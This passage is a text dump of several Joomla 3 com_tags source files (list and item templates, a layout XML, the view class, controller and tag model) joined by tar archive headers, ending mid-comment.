$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = ($listOrder == 'a.lft' && strtolower($listDirn) == 'asc');
$extension = $this->escape($this->state->get('filter.extension'));
$parts     = explode('.', $extension);
$component = $parts[0];
$section   = null;
$mode      = false;
$columns   = 7;

if (count($parts) > 1)
{
	$section = $parts[1];
	$inflector = Inflector::getInstance();

	if (!$inflector->isPlural($section))
	{
		$section = $inflector->toPlural($section);
	}
}

if ($section === 'categories')
{
	$mode = true;
	$section = $component;
	$component = 'com_categories';
}

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_tags&task=tags.saveOrderAjax';
	JHtml::_('sortablelist.sortable', 'categoryList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_tags&view=tags'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty($this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="categoryList">
				<thead>
					<tr>
						<th width="1%" class="nowrap hidden-phone center">
							<?php echo JHtml::_('searchtools.sort', '', 'a.lft', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>

						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
							<th width="1%" class="nowrap center hidden-phone">
								<span class="icon-publish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?></span></span>
							</th>
							<?php $columns++; ?>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
							<th width="1%" class="nowrap center hidden-phone">
								<span class="icon-unpublish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?></span></span>
							</th>
							<?php $columns++; ?>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
							<th width="1%" class="nowrap center hidden-phone">
								<span class="icon-archive hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?></span></span>
							</th>
							<?php $columns++; ?>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
							<th width="1%" class="nowrap center hidden-phone">
								<span class="icon-trash hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?></span></span>
							</th>
							<?php $columns++; ?>
						<?php endif; ?>

						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort',  'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_LANGUAGE', 'a.language', $this->state->get('list.direction'), $this->state->get('list.ordering')); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="<?php echo $columns; ?>">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				foreach ($this->items as $i => $item) :
					$orderkey   = array_search($item->id, $this->ordering[$item->parent_id]);
					$canCreate  = $user->authorise('core.create',     'com_tags');
					$canEdit    = $user->authorise('core.edit',       'com_tags');
					$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id')|| $item->checked_out == 0;
					$canChange  = $user->authorise('core.edit.state', 'com_tags') && $canCheckin;

					// Get the parents of item for sorting
					if ($item->level > 1)
					{
						$parentsStr = '';
						$_currentParentId = $item->parent_id;
						$parentsStr = ' ' . $_currentParentId;
						for ($j = 0; $j < $item->level; $j++)
						{
							foreach ($this->ordering as $k => $v)
							{
								$v = implode('-', $v);
								$v = '-' . $v . '-';
								if (strpos($v, '-' . $_currentParentId . '-') !== false)
								{
									$parentsStr .= ' ' . $k;
									$_currentParentId = $k;
									break;
								}
							}
						}
					}
					else
					{
						$parentsStr = '';
					}
					?>
						<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->parent_id; ?>" item-id="<?php echo $item->id; ?>" parents="<?php echo $parentsStr; ?>" level="<?php echo $item->level; ?>">
							<td class="order nowrap center hidden-phone">
								<?php
								$iconClass = '';
								if (!$canChange)
								{
									$iconClass = ' inactive';
								}
								elseif (!$saveOrder)
								{
									$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
								}
								?>
								<span class="sortable-handler<?php echo $iconClass ?>">
									<span class="icon-menu"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $orderkey + 1; ?>" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->published, $i, 'tags.', $canChange); ?>
									<?php // Create dropdown items and render the dropdown list.
									if ($canChange)
									{
										JHtml::_('actionsdropdown.' . ((int) $item->published === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'tags');
										JHtml::_('actionsdropdown.' . ((int) $item->published === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'tags');
										echo JHtml::_('actionsdropdown.render', $this->escape($item->title));
									}
									?>
								</div>
							</td>
							<td>
								<?php echo JLayoutHelper::render('joomla.html.treeprefix', array('level' => $item->level)); ?>
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'tags.', $canCheckin); ?>
								<?php endif; ?>
								<?php if ($canEdit) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_tags&task=tag.edit&id=' . $item->id); ?>">
										<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<?php echo $this->escape($item->title); ?>
								<?php endif; ?>
								<span class="small" title="<?php echo $this->escape($item->path); ?>">
									<?php if (empty($item->note)) : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									<?php else : ?>
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS_NOTE', $this->escape($item->alias), $this->escape($item->note)); ?>
									<?php endif; ?>
								</span>
							</td>

						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_published')) : ?>
							<td class="center btns hidden-phone">
								<a class="badge <?php if ($item->count_published > 0) echo 'badge-success'; ?>" title="<?php echo JText::_('COM_TAGS_COUNT_PUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=1'); ?>">
									<?php echo $item->count_published; ?></a>
							</td>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_unpublished')) : ?>
							<td class="center btns hidden-phone">
								<a class="badge <?php if ($item->count_unpublished > 0) echo 'badge-important'; ?>" title="<?php echo JText::_('COM_TAGS_COUNT_UNPUBLISHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=0'); ?>">
									<?php echo $item->count_unpublished; ?></a>
							</td>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_archived')) : ?>
							<td class="center btns hidden-phone">
								<a class="badge <?php if ($item->count_archived > 0) echo 'badge-info'; ?>" title="<?php echo JText::_('COM_TAGS_COUNT_ARCHIVED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=2'); ?>">
									<?php echo $item->count_archived; ?></a>
							</td>
						<?php endif; ?>
						<?php if (isset($this->items[0]) && property_exists($this->items[0], 'count_trashed')) : ?>
							<td class="center btns hidden-phone">
								<a class="badge <?php if ($item->count_trashed > 0) echo 'badge-inverse'; ?>" title="<?php echo JText::_('COM_TAGS_COUNT_TRASHED_ITEMS'); ?>" href="<?php echo JRoute::_('index.php?option=' . $component . ($mode ? '&extension=' . $section : '&view=' . $section) . '&filter[tag]=' . (int) $item->id . '&filter[published]=-2'); ?>">
									<?php echo $item->count_trashed; ?></a>
							</td>
						<?php endif; ?>



						<td class="small hidden-phone">
							<?php echo $this->escape($item->access_title); ?>
						</td>
						<td class="small nowrap hidden-phone">
							<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
						</td>
						<td class="hidden-phone">
							<span title="<?php echo sprintf('%d-%d', $item->lft, $item->rgt); ?>">
								<?php echo (int) $item->id; ?></span>
						</td>
					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form if user is allowed ?>
			<?php if ($user->authorise('core.create', 'com_tags')
				&& $user->authorise('core.edit', 'com_tags')
				&& $user->authorise('core.edit.state', 'com_tags')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_TAGS_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_tags/views/tags/tmpl/default_items.php000060400000013651152453734450014763 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

JHtml::_('behavior.caption');
JHtml::_('behavior.core');

// Get the user object.
$user = JFactory::getUser();

// Check if user is allowed to add/edit based on tags permissions.
$canEdit      = $user->authorise('core.edit', 'com_tags');
$canCreate    = $user->authorise('core.create', 'com_tags');
$canEditState = $user->authorise('core.edit.state', 'com_tags');

$columns = $this->params->get('tag_columns', 1);

// Avoid division by 0 and negative columns.
if ($columns < 1)
{
	$columns = 1;
}

$bsspans = floor(12 / $columns);

if ($bsspans < 1)
{
	$bsspans = 1;
}

$bscolumns = min($columns, floor(12 / $bsspans));
$n         = count($this->items);

JFactory::getDocument()->addScriptDeclaration("
		var resetFilter = function() {
		document.getElementById('filter-search').value = '';
	}
");

?>
<form action="<?php echo htmlspecialchars(JUri::getInstance()->toString()); ?>" method="post" name="adminForm" id="adminForm">
	<?php if ($this->params->get('filter_field') || $this->params->get('show_pagination_limit')) : ?>
		<fieldset class="filters btn-toolbar">
			<?php if ($this->params->get('filter_field')) : ?>
				<div class="btn-group">
					<label class="filter-search-lbl element-invisible" for="filter-search">
						<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL') . '&#160;'; ?>
					</label>
					<input type="text" name="filter-search" id="filter-search" value="<?php echo $this->escape($this->state->get('list.filter')); ?>" class="inputbox" onchange="document.adminForm.submit();" title="<?php echo JText::_('COM_TAGS_FILTER_SEARCH_DESC'); ?>" placeholder="<?php echo JText::_('COM_TAGS_TITLE_FILTER_LABEL'); ?>" />
					<button type="button" name="filter-search-button" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>" onclick="document.adminForm.submit();" class="btn">
						<span class="icon-search"></span>
					</button>
					<button type="reset" name="filter-clear-button" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>" class="btn" onclick="resetFilter(); document.adminForm.submit();">
						<span class="icon-remove"></span>
					</button>
				</div>
			<?php endif; ?>
			<?php if ($this->params->get('show_pagination_limit')) : ?>
				<div class="btn-group pull-right">
					<label for="limit" class="element-invisible">
						<?php echo JText::_('JGLOBAL_DISPLAY_NUM'); ?>
					</label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
			<?php endif; ?>
			<input type="hidden" name="filter_order" value="" />
			<input type="hidden" name="filter_order_Dir" value="" />
			<input type="hidden" name="limitstart" value="" />
			<input type="hidden" name="task" value="" />
			<div class="clearfix"></div>
		</fieldset>
	<?php endif; ?>
	<?php if ($this->items == false || $n === 0) : ?>
		<p><?php echo JText::_('COM_TAGS_NO_TAGS'); ?></p>
	<?php else : ?>
		<?php foreach ($this->items as $i => $item) : ?>
			<?php if ($n === 1 || $i === 0 || $bscolumns === 1 || $i % $bscolumns === 0) : ?>
				<ul class="thumbnails">
			<?php endif; ?>
			<?php if ((!empty($item->access)) && in_array($item->access, $this->user->getAuthorisedViewLevels())) : ?>
				<li class="cat-list-row<?php echo $i % 2; ?>">
					<h3>
						<a href="<?php echo JRoute::_(TagsHelperRoute::getTagRoute($item->id . ':' . $item->alias)); ?>">
							<?php echo $this->escape($item->title); ?>
						</a>
					</h3>
			<?php endif; ?>
			<?php if ($this->params->get('all_tags_show_tag_image') && !empty($item->images)) : ?>
				<?php $images  = json_decode($item->images); ?>
				<span class="tag-body">
					<?php if (!empty($images->image_intro)) : ?>
						<?php $imgfloat = empty($images->float_intro) ? $this->params->get('float_intro') : $images->float_intro; ?>
						<div class="pull-<?php echo htmlspecialchars($imgfloat, ENT_QUOTES, 'UTF-8'); ?> item-image">
							<img
								<?php if ($images->image_intro_caption) : ?>
									<?php echo 'class="caption"' . ' title="' . htmlspecialchars($images->image_intro_caption, ENT_QUOTES, 'UTF-8') . '"'; ?>
								<?php endif; ?>
								src="<?php echo htmlspecialchars($images->image_intro, ENT_QUOTES, 'UTF-8'); ?>"
								alt="<?php echo htmlspecialchars($images->image_intro_alt, ENT_QUOTES, 'UTF-8'); ?>" />
						</div>
					<?php endif; ?>
				</span>
			<?php endif; ?>
			<?php if (($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) || $this->params->get('all_tags_show_tag_hits')) : ?>
				<div class="caption">
					<?php if ($this->params->get('all_tags_show_tag_description', 1) && !empty($item->description)) : ?>
						<span class="tag-body">
							<?php echo JHtml::_('string.truncate', $item->description, $this->params->get('all_tags_tag_maximum_characters')); ?>
						</span>
					<?php endif; ?>
					<?php if ($this->params->get('all_tags_show_tag_hits')) : ?>
						<span class="list-hits badge badge-info">
							<?php echo JText::sprintf('JGLOBAL_HITS_COUNT', $item->hits); ?>
						</span>
					<?php endif; ?>
				</div>
			<?php endif; ?>
			</li>
			<?php if (($i === 0 && $n === 1) || $i === $n - 1 || $bscolumns === 1 || (($i + 1) % $bscolumns === 0)) : ?>
				</ul>
			<?php endif; ?>
		<?php endforeach; ?>
	<?php endif; ?>
	<?php // Add pagination links ?>
	<?php if (!empty($this->items)) : ?>
		<?php if (($this->params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->pagesTotal > 1)) : ?>
			<div class="pagination">
				<?php if ($this->params->def('show_pagination_results', 1)) : ?>
					<p class="counter pull-right">
						<?php echo $this->pagination->getPagesCounter(); ?>
					</p>
				<?php endif; ?>
				<?php echo $this->pagination->getPagesLinks(); ?>
			</div>
		<?php endif; ?>
	<?php endif; ?>
</form>
com_tags/views/tags/tmpl/default.xml000060400000000303152453734450013561 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_TAGS_TAGS_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_TAGS_TAGS_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>com_tags/views/tags/view.html.php000060400000010557152453734450013101 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tags view class for the Tags package.
 *
 * @since  3.1
 */
class TagsViewTags extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed   A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Preprocess the list of items to find ordering divisions.
		foreach ($this->items as &$item)
		{
			$this->ordering[$item->parent_id][] = $item->id;
		}

		// Levels filter.
		$options   = array();
		$options[] = JHtml::_('select.option', '1', JText::_('J1'));
		$options[] = JHtml::_('select.option', '2', JText::_('J2'));
		$options[] = JHtml::_('select.option', '3', JText::_('J3'));
		$options[] = JHtml::_('select.option', '4', JText::_('J4'));
		$options[] = JHtml::_('select.option', '5', JText::_('J5'));
		$options[] = JHtml::_('select.option', '6', JText::_('J6'));
		$options[] = JHtml::_('select.option', '7', JText::_('J7'));
		$options[] = JHtml::_('select.option', '8', JText::_('J8'));
		$options[] = JHtml::_('select.option', '9', JText::_('J9'));
		$options[] = JHtml::_('select.option', '10', JText::_('J10'));

		$this->f_levels = $options;

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return void
	 *
	 * @since   3.1
	 */
	protected function addToolbar()
	{
		$state = $this->get('State');
		$canDo = JHelperContent::getActions('com_tags');
		$user  = JFactory::getUser();

		// Get the toolbar object instance
		$bar = JToolbar::getInstance('toolbar');

		JToolbarHelper::title(JText::_('COM_TAGS_MANAGER_TAGS'), 'tags');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('tag.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('tag.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::publish('tags.publish', 'JTOOLBAR_PUBLISH', true);
			JToolbarHelper::unpublish('tags.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			JToolbarHelper::archiveList('tags.archive');
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::checkin('tags.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_tags')
			&& $user->authorise('core.edit', 'com_tags')
			&& $user->authorise('core.edit.state', 'com_tags'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			$bar->appendButton('Custom', $dhtml, 'batch');
		}

		if ($state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'tags.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('tags.trash');
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_tags');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_TAGS_MANAGER');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.lft'      => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'    => JText::_('JSTATUS'),
			'a.title'    => JText::_('JGLOBAL_TITLE'),
			'a.access'   => JText::_('JGRID_HEADING_ACCESS'),
			'a.language' => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'       => JText::_('JGRID_HEADING_ID')
		);
	}
}
com_tags/controllers/tags.php000060400000002555152453734450012374 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Tags List Controller
 *
 * @since  3.1
 */
class TagsControllerTags extends JControllerAdmin
{
	/**
	 * Proxy for getModel
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  An optional associative array of configuration settings.
	 *
	 * @return  JModelLegacy  The model.
	 *
	 * @since   3.1
	 */
	public function getModel($name = 'Tag', $prefix = 'TagsModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Rebuild the nested set tree.
	 *
	 * @return  boolean  False on failure or error, true on success.
	 *
	 * @since   3.1
	 */
	public function rebuild()
	{
		$this->checkToken();

		$this->setRedirect(JRoute::_('index.php?option=com_tags&view=tags', false));

		$model = $this->getModel();

		if ($model->rebuild())
		{
			// Rebuild succeeded.
			$this->setMessage(JText::_('COM_TAGS_REBUILD_SUCCESS'));

			return true;
		}
		else
		{
			// Rebuild failed.
			$this->setMessage(JText::_('COM_TAGS_REBUILD_FAILURE'));

			return false;
		}
	}
}
com_tags/models/tag.php000060400000023277152453734450011132 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;

/**
 * Tags Component Tag Model
 *
 * @since  3.1
 */
class TagsModelTag extends JModelAdmin
{
	/**
	 * @var    string  The prefix to use with controller messages.
	 * @since  3.1
	 */
	protected $text_prefix = 'COM_TAGS';

	/**
	 * @var    string  The type alias for this content type.
	 * @since  3.2
	 */
	public $typeAlias = 'com_tags.tag';

	/**
	 * Allowed batch commands
	 *
	 * @var    array
	 * @since  3.7.0
	 */
	protected $batch_commands = array(
		'assetgroup_id' => 'batchAccess',
		'language_id' => 'batchLanguage',
	);

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   3.1
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->published != -2)
		{
			return false;
		}

		return parent::canDelete($record);
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $type    The table name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.1
	 */
	public function getTable($type = 'Tag', $prefix = 'TagsTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Auto-populate the model state.
	 *
	 * @note Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	protected function populateState()
	{
		$app = JFactory::getApplication('administrator');

		$parentId = $app->input->getInt('parent_id');
		$this->setState('tag.parent_id', $parentId);

		// Load the User state.
		$pk = $app->input->getInt('id');
		$this->setState($this->getName() . '.id', $pk);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_tags');
		$this->setState('params', $params);
	}

	/**
	 * Method to get a tag.
	 *
	 * @param   integer  $pk  An optional id of the object to get, otherwise the id from the model state is used.
	 *
	 * @return  mixed  Tag data object on success, false on failure.
	 *
	 * @since   3.1
	 */
	public function getItem($pk = null)
	{
		if ($result = parent::getItem($pk))
		{
			// Prime required properties.
			if (empty($result->id))
			{
				$result->parent_id = $this->getState('tag.parent_id');
			}

			// Convert the metadata field to an array.
			$registry = new Registry($result->metadata);
			$result->metadata = $registry->toArray();

			// Convert the images field to an array.
			$registry = new Registry($result->images);
			$result->images = $registry->toArray();

			// Convert the urls field to an array.
			$registry = new Registry($result->urls);
			$result->urls = $registry->toArray();

			// Convert the modified date to local user time for display in the form.
			$tz = new DateTimeZone(JFactory::getApplication()->get('offset'));

			if ((int) $result->modified_time)
			{
				$date = new JDate($result->modified_time);
				$date->setTimezone($tz);
				$result->modified_time = $date->toSql(true);
			}
			else
			{
				$result->modified_time = null;
			}
		}

		return $result;
	}

	/**
	 * Method to get the row form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   3.1
	 */
	public function getForm($data = array(), $loadData = true)
	{
		$jinput = JFactory::getApplication()->input;

		// Get the form.
		$form = $this->loadForm('com_tags.tag', 'tag', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		$user = JFactory::getUser();

		if (!$user->authorise('core.edit.state', 'com_tags' . $jinput->get('id')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled', 'true');
			$form->setFieldAttribute('published', 'disabled', 'true');

			// Disable fields while saving.
			// The controller has already verified this is a record you can edit.
			$form->setFieldAttribute('ordering', 'filter', 'unset');
			$form->setFieldAttribute('published', 'filter', 'unset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   3.1
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_tags.edit.tag.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_tags.tag', $data);

		return $data;
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	public function save($data)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$table      = $this->getTable();
		$input      = JFactory::getApplication()->input;
		$pk         = (!empty($data['id'])) ? $data['id'] : (int) $this->getState($this->getName() . '.id');
		$isNew      = true;
		$context    = $this->option . '.' . $this->name;

		// Include the plugins for the save events.
		JPluginHelper::importPlugin($this->events_map['save']);

		// Load the row if saving an existing tag.
		if ($pk > 0)
		{
			$table->load($pk);
			$isNew = false;
		}

		// Set the new parent id if parent id not matched OR while New/Save as Copy .
		if ($table->parent_id != $data['parent_id'] || $data['id'] == 0)
		{
			$table->setLocation($data['parent_id'], 'last-child');
		}

		if (isset($data['images']) && is_array($data['images']))
		{
			$registry = new Registry($data['images']);
			$data['images'] = (string) $registry;
		}

		if (isset($data['urls']) && is_array($data['urls']))
		{
			$registry = new Registry($data['urls']);
			$data['urls'] = (string) $registry;
		}

		// Alter the title for save as copy
		if ($input->get('task') == 'save2copy')
		{
			$origTable = $this->getTable();
			$origTable->load($input->getInt('id'));

			if ($data['title'] == $origTable->title)
			{
				list($title, $alias) = $this->generateNewTitle($data['parent_id'], $data['alias'], $data['title']);
				$data['title'] = $title;
				$data['alias'] = $alias;
			}
			elseif ($data['alias'] == $origTable->alias)
			{
				$data['alias'] = '';
			}

			$data['published'] = 0;
		}

		// Bind the data.
		if (!$table->bind($data))
		{
			$this->setError($table->getError());

			return false;
		}

		// Bind the rules.
		if (isset($data['rules']))
		{
			$rules = new JAccessRules($data['rules']);
			$table->setRules($rules);
		}

		// Check the data.
		if (!$table->check())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the before save event.
		$result = $dispatcher->trigger($this->event_before_save, array($context, &$table, $isNew));

		if (in_array(false, $result, true))
		{
			$this->setError($table->getError());

			return false;
		}

		// Store the data.
		if (!$table->store())
		{
			$this->setError($table->getError());

			return false;
		}

		// Trigger the after save event.
		$dispatcher->trigger($this->event_after_save, array($context, &$table, $isNew));

		// Rebuild the path for the tag:
		if (!$table->rebuildPath($table->id))
		{
			$this->setError($table->getError());

			return false;
		}

		// Rebuild the paths of the tag's children:
		if (!$table->rebuild($table->id, $table->lft, $table->level, $table->path))
		{
			$this->setError($table->getError());

			return false;
		}

		$this->setState($this->getName() . '.id', $table->id);

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method rebuild the entire nested set tree.
	 *
	 * @return  boolean  False on failure or error, true otherwise.
	 *
	 * @since   3.1
	 */
	public function rebuild()
	{
		// Get an instance of the table object.
		$table = $this->getTable();

		if (!$table->rebuild())
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to save the reordered nested set tree.
	 * First we save the new order values in the lft values of the changed ids.
	 * Then we invoke the table rebuild to implement the new ordering.
	 *
	 * @param   array    $idArray   An array of primary key ids.
	 * @param   integer  $lftArray  The lft value
